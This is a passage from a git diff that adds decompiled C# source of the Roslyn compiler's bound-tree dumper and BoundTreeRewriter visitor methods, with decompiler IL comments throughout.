(IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("variableSymbol", (object)node.VariableSymbol, (IEnumerable)null), + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + return new TreeDumperNode("outDeconstructVarPendingInference", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("variableSymbol", (object)node.VariableSymbol, (IEnumerable)null), + new TreeDumperNode("isDiscardExpression", (object)node.IsDiscardExpression, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + return new TreeDumperNode("nonConstructorMethodBody", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("blockBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.BlockBody, null) }), + new TreeDumperNode("expressionBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionBody, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConstructorMethodBody(BoundConstructorMethodBody node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Expected O, but got Unknown + return new TreeDumperNode("constructorMethodBody", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("initializer", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Initializer, null) }), + new TreeDumperNode("blockBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.BlockBody, null) }), + new TreeDumperNode("expressionBody", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionBody, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitExpressionWithNullability(BoundExpressionWithNullability node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("expressionWithNullability", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("nullableAnnotation", (object)node.NullableAnnotation, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitWithExpression(BoundWithExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("withExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("cloneMethod", (object)node.CloneMethod, (IEnumerable)null), + new TreeDumperNode("initializerExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerExpression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriter.cs new file mode 100644 index 0000000..0968fd9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriter.cs @@ -0,0 +1,1715 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeRewriter : BoundTreeVisitor +{ + [return: NotNullIfNotNull("type")] + public virtual TypeSymbol? VisitType(TypeSymbol? type) + { + return type; + } + + public ImmutableArray VisitList(ImmutableArray list) where T : BoundNode + { + if (list.IsDefault) + { + return list; + } + return DoVisitList(list); + } + + private ImmutableArray DoVisitList(ImmutableArray list) where T : BoundNode + { + ArrayBuilder val = null; + for (int i = 0; i < list.Length; i++) + { + T val2 = list[i]; + BoundNode boundNode = Visit(val2); + if (val == null && val2 != boundNode) + { + val = ArrayBuilder.GetInstance(); + if (i > 0) + { + val.AddRange(list, i); + } + } + if (val != null && boundNode != null) + { + val.Add((T)boundNode); + } + } + return val?.ToImmutableAndFree() ?? list; + } + + public override BoundNode? VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(node.Field, node.Locals, value); + } + + public override BoundNode? VisitPropertyEqualsValue(BoundPropertyEqualsValue node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(node.Property, node.Locals, value); + } + + public override BoundNode? VisitParameterEqualsValue(BoundParameterEqualsValue node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(node.Parameter, node.Locals, value); + } + + public override BoundNode? VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node) + { + BoundStatement statement = (BoundStatement)Visit(node.Statement); + return node.Update(statement); + } + + public override BoundNode? VisitValuePlaceholder(BoundValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, node.LocalScopeDepth, type); + } + + public override BoundNode? VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.VariableSymbol, node.IsDiscardExpression, type); + } + + public override BoundNode? VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.IsNewInstance, type); + } + + public override BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.IsEquivalentToThisReference, type); + } + + public override BoundNode? VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitDup(BoundDup node) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = VisitType(node.Type); + return node.Update(node.RefKind, type); + } + + public override BoundNode? VisitPassByCopy(BoundPassByCopy node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, type); + } + + public override BoundNode? VisitBadExpression(BoundBadExpression node) + { + ImmutableArray childBoundNodes = VisitList(node.ChildBoundNodes); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ResultKind, node.Symbols, childBoundNodes, type); + } + + public override BoundNode? VisitBadStatement(BoundBadStatement node) + { + ImmutableArray childBoundNodes = VisitList(node.ChildBoundNodes); + return node.Update(childBoundNodes); + } + + public override BoundNode? VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node) + { + BoundBlock finallyBlock = (BoundBlock)Visit(node.FinallyBlock); + return node.Update(finallyBlock); + } + + public override BoundNode? VisitTypeExpression(BoundTypeExpression node) + { + BoundTypeExpression boundContainingTypeOpt = (BoundTypeExpression)Visit(node.BoundContainingTypeOpt); + ImmutableArray boundDimensionsOpt = VisitList(node.BoundDimensionsOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.AliasOpt, boundContainingTypeOpt, boundDimensionsOpt, node.TypeWithAnnotations, type); + } + + public override BoundNode? VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Data, type); + } + + public override BoundNode? VisitNamespaceExpression(BoundNamespaceExpression node) + { + VisitType(node.Type); + return node.Update(node.NamespaceSymbol, node.AliasOpt); + } + + public override BoundNode? VisitUnaryOperator(BoundUnaryOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol constrainedToTypeOpt = VisitType(node.ConstrainedToTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.OperatorKind, operand, node.ConstantValueOpt, node.MethodOpt, constrainedToTypeOpt, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, type); + } + + public override BoundNode? VisitIncrementOperator(BoundIncrementOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundValuePlaceholder operandPlaceholder = node.OperandPlaceholder; + BoundExpression operandConversion = node.OperandConversion; + BoundValuePlaceholder resultPlaceholder = node.ResultPlaceholder; + BoundExpression resultConversion = node.ResultConversion; + TypeSymbol constrainedToTypeOpt = VisitType(node.ConstrainedToTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.OperatorKind, operand, node.MethodOpt, constrainedToTypeOpt, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, type); + } + + public override BoundNode? VisitAddressOfOperator(BoundAddressOfOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.IsManaged, type); + } + + public override BoundNode? VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node) + { + BoundMethodGroup operand = (BoundMethodGroup)Visit(node.Operand); + VisitType(node.Type); + return node.Update(operand); + } + + public override BoundNode? VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + TypeSymbol constrainedToTypeOpt = VisitType(node.ConstrainedToTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.TargetMethod, constrainedToTypeOpt, type); + } + + public override BoundNode? VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.RefersToLocation, type); + } + + public override BoundNode? VisitPointerElementAccess(BoundPointerElementAccess node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundExpression index = (BoundExpression)Visit(node.Index); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, index, node.Checked, node.RefersToLocation, type); + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + BoundExpression invokedExpression = (BoundExpression)Visit(node.InvokedExpression); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(invokedExpression, arguments, node.ArgumentRefKindsOpt, node.ResultKind, type); + } + + public override BoundNode? VisitRefTypeOperator(BoundRefTypeOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.GetTypeFromHandle, type); + } + + public override BoundNode? VisitMakeRefOperator(BoundMakeRefOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, type); + } + + public override BoundNode? VisitRefValueOperator(BoundRefValueOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.NullableAnnotation, operand, type); + } + + public override BoundNode? VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.MethodOpt, type); + } + + public override BoundNode? VisitRangeExpression(BoundRangeExpression node) + { + BoundExpression leftOperandOpt = (BoundExpression)Visit(node.LeftOperandOpt); + BoundExpression rightOperandOpt = (BoundExpression)Visit(node.RightOperandOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(leftOperandOpt, rightOperandOpt, node.MethodOpt, type); + } + + public override BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.OperatorKind, node.Data, node.ResultKind, left, right, type); + } + + public override BoundNode? VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + TypeSymbol type = VisitType(node.Type); + return node.Update(left, right, node.OperatorKind, node.Operators, type); + } + + public override BoundNode? VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + TypeSymbol constrainedToTypeOpt = VisitType(node.ConstrainedToTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.OperatorKind, node.LogicalOperator, node.TrueOperator, node.FalseOperator, constrainedToTypeOpt, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, left, right, type); + } + + public override BoundNode? VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + BoundValuePlaceholder leftPlaceholder = node.LeftPlaceholder; + BoundExpression leftConversion = node.LeftConversion; + BoundValuePlaceholder finalPlaceholder = node.FinalPlaceholder; + BoundExpression finalConversion = node.FinalConversion; + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, type); + } + + public override BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + TypeSymbol type = VisitType(node.Type); + return node.Update(left, right, node.IsRef, type); + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + BoundTupleExpression left = (BoundTupleExpression)Visit(node.Left); + BoundConversion right = (BoundConversion)Visit(node.Right); + TypeSymbol type = VisitType(node.Type); + return node.Update(left, right, node.IsUsed, type); + } + + public override BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + BoundExpression leftOperand = (BoundExpression)Visit(node.LeftOperand); + BoundExpression rightOperand = (BoundExpression)Visit(node.RightOperand); + BoundValuePlaceholder leftPlaceholder = node.LeftPlaceholder; + BoundExpression leftConversion = node.LeftConversion; + TypeSymbol type = VisitType(node.Type); + return node.Update(leftOperand, rightOperand, leftPlaceholder, leftConversion, node.OperatorResultKind, node.Checked, type); + } + + public override BoundNode? VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + BoundExpression leftOperand = (BoundExpression)Visit(node.LeftOperand); + BoundExpression rightOperand = (BoundExpression)Visit(node.RightOperand); + TypeSymbol type = VisitType(node.Type); + return node.Update(leftOperand, rightOperand, type); + } + + public override BoundNode? VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundExpression consequence = (BoundExpression)Visit(node.Consequence); + BoundExpression alternative = (BoundExpression)Visit(node.Alternative); + VisitType(node.Type); + return node.Update(condition, consequence, alternative, node.ConstantValueOpt, node.NoCommonTypeError); + } + + public override BoundNode? VisitConditionalOperator(BoundConditionalOperator node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundExpression consequence = (BoundExpression)Visit(node.Consequence); + BoundExpression alternative = (BoundExpression)Visit(node.Alternative); + TypeSymbol naturalTypeOpt = VisitType(node.NaturalTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.IsRef, condition, consequence, alternative, node.ConstantValueOpt, naturalTypeOpt, node.WasTargetTyped, type); + } + + public override BoundNode? VisitArrayAccess(BoundArrayAccess node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray indices = VisitList(node.Indices); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, indices, type); + } + + public override BoundNode? VisitArrayLength(BoundArrayLength node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, type); + } + + public override BoundNode? VisitAwaitableInfo(BoundAwaitableInfo node) + { + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = (BoundAwaitableValuePlaceholder)Visit(node.AwaitableInstancePlaceholder); + BoundExpression getAwaiter = (BoundExpression)Visit(node.GetAwaiter); + return node.Update(awaitableInstancePlaceholder, node.IsDynamic, getAwaiter, node.IsCompleted, node.GetResult); + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundAwaitableInfo awaitableInfo = (BoundAwaitableInfo)Visit(node.AwaitableInfo); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, awaitableInfo, node.DebugInfo, type); + } + + public override BoundNode? VisitTypeOfOperator(BoundTypeOfOperator node) + { + BoundTypeExpression sourceType = (BoundTypeExpression)Visit(node.SourceType); + TypeSymbol type = VisitType(node.Type); + return node.Update(sourceType, node.GetTypeFromHandle, type); + } + + public override BoundNode? VisitBlockInstrumentation(BoundBlockInstrumentation node) + { + BoundStatement prologue = (BoundStatement)Visit(node.Prologue); + BoundStatement epilogue = (BoundStatement)Visit(node.Epilogue); + return node.Update(node.Local, prologue, epilogue); + } + + public override BoundNode? VisitMethodDefIndex(BoundMethodDefIndex node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Method, type); + } + + public override BoundNode? VisitLocalId(BoundLocalId node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Local, node.HoistedField, type); + } + + public override BoundNode? VisitParameterId(BoundParameterId node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Parameter, node.HoistedField, type); + } + + public override BoundNode? VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.AnalysisKind, type); + } + + public override BoundNode? VisitModuleVersionId(BoundModuleVersionId node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitModuleVersionIdString(BoundModuleVersionIdString node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Document, type); + } + + public override BoundNode? VisitMethodInfo(BoundMethodInfo node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Method, node.GetMethodFromHandle, type); + } + + public override BoundNode? VisitFieldInfo(BoundFieldInfo node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Field, node.GetFieldFromHandle, type); + } + + public override BoundNode? VisitDefaultLiteral(BoundDefaultLiteral node) + { + VisitType(node.Type); + return node.Update(); + } + + public override BoundNode? VisitDefaultExpression(BoundDefaultExpression node) + { + BoundTypeExpression targetType = node.TargetType; + TypeSymbol type = VisitType(node.Type); + return node.Update(targetType, node.ConstantValueOpt, type); + } + + public override BoundNode? VisitIsOperator(BoundIsOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundTypeExpression targetType = (BoundTypeExpression)Visit(node.TargetType); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, targetType, node.ConversionKind, type); + } + + public override BoundNode? VisitAsOperator(BoundAsOperator node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundTypeExpression targetType = (BoundTypeExpression)Visit(node.TargetType); + BoundValuePlaceholder operandPlaceholder = node.OperandPlaceholder; + BoundExpression operandConversion = node.OperandConversion; + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, targetType, operandPlaceholder, operandConversion, type); + } + + public override BoundNode? VisitSizeOfOperator(BoundSizeOfOperator node) + { + BoundTypeExpression sourceType = (BoundTypeExpression)Visit(node.SourceType); + TypeSymbol type = VisitType(node.Type); + return node.Update(sourceType, node.ConstantValueOpt, type); + } + + public override BoundNode? VisitConversion(BoundConversion node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.Conversion, node.IsBaseConversion, node.Checked, node.ExplicitCastInCode, node.ConstantValueOpt, node.ConversionGroupOpt, node.OriginalUserDefinedConversionsOpt, type); + } + + public override BoundNode? VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, node.ConversionMethod, type); + } + + public override BoundNode? VisitArgList(BoundArgList node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitArgListOperator(BoundArgListOperator node) + { + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(arguments, node.ArgumentRefKindsOpt, type); + } + + public override BoundNode? VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + BoundValuePlaceholder elementPointerPlaceholder = node.ElementPointerPlaceholder; + BoundExpression elementPointerConversion = node.ElementPointerConversion; + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol elementPointerType = VisitType(node.ElementPointerType); + TypeSymbol type = VisitType(node.Type); + return node.Update(elementPointerType, elementPointerPlaceholder, elementPointerConversion, expression, node.GetPinnableOpt, type); + } + + public override BoundNode? VisitSequencePoint(BoundSequencePoint node) + { + BoundStatement statementOpt = (BoundStatement)Visit(node.StatementOpt); + return node.Update(statementOpt); + } + + public override BoundNode? VisitSequencePointWithSpan(BoundSequencePointWithSpan node) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + BoundStatement statementOpt = (BoundStatement)Visit(node.StatementOpt); + return node.Update(statementOpt, node.Span); + } + + public override BoundNode? VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node) + { + return node; + } + + public override BoundNode? VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node) + { + return node; + } + + public override BoundNode? VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node) + { + return node; + } + + public override BoundNode? VisitBlock(BoundBlock node) + { + BoundBlockInstrumentation instrumentation = (BoundBlockInstrumentation)Visit(node.Instrumentation); + ImmutableArray statements = VisitList(node.Statements); + return node.Update(node.Locals, node.LocalFunctions, node.HasUnsafeModifier, instrumentation, statements); + } + + public override BoundNode? VisitScope(BoundScope node) + { + ImmutableArray statements = VisitList(node.Statements); + return node.Update(node.Locals, statements); + } + + public override BoundNode? VisitStateMachineScope(BoundStateMachineScope node) + { + BoundStatement statement = (BoundStatement)Visit(node.Statement); + return node.Update(node.Fields, statement); + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + BoundTypeExpression declaredTypeOpt = (BoundTypeExpression)Visit(node.DeclaredTypeOpt); + BoundExpression initializerOpt = (BoundExpression)Visit(node.InitializerOpt); + ImmutableArray argumentsOpt = VisitList(node.ArgumentsOpt); + return node.Update(node.LocalSymbol, declaredTypeOpt, initializerOpt, argumentsOpt, node.InferredType); + } + + public override BoundNode? VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node) + { + ImmutableArray localDeclarations = VisitList(node.LocalDeclarations); + return node.Update(localDeclarations); + } + + public override BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + BoundAwaitableInfo awaitOpt = (BoundAwaitableInfo)Visit(node.AwaitOpt); + ImmutableArray localDeclarations = VisitList(node.LocalDeclarations); + return node.Update(node.PatternDisposeInfoOpt, awaitOpt, localDeclarations); + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + BoundBlock blockBody = (BoundBlock)Visit(node.BlockBody); + BoundBlock expressionBody = (BoundBlock)Visit(node.ExpressionBody); + return node.Update(node.Symbol, blockBody, expressionBody); + } + + public override BoundNode? VisitNoOpStatement(BoundNoOpStatement node) + { + return node; + } + + public override BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + return node.Update(node.RefKind, expressionOpt, node.Checked); + } + + public override BoundNode? VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + return node.Update(expression); + } + + public override BoundNode? VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + return node; + } + + public override BoundNode? VisitThrowStatement(BoundThrowStatement node) + { + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + return node.Update(expressionOpt); + } + + public override BoundNode? VisitExpressionStatement(BoundExpressionStatement node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + return node.Update(expression); + } + + public override BoundNode? VisitBreakStatement(BoundBreakStatement node) + { + return node; + } + + public override BoundNode? VisitContinueStatement(BoundContinueStatement node) + { + return node; + } + + public override BoundNode? VisitSwitchStatement(BoundSwitchStatement node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + 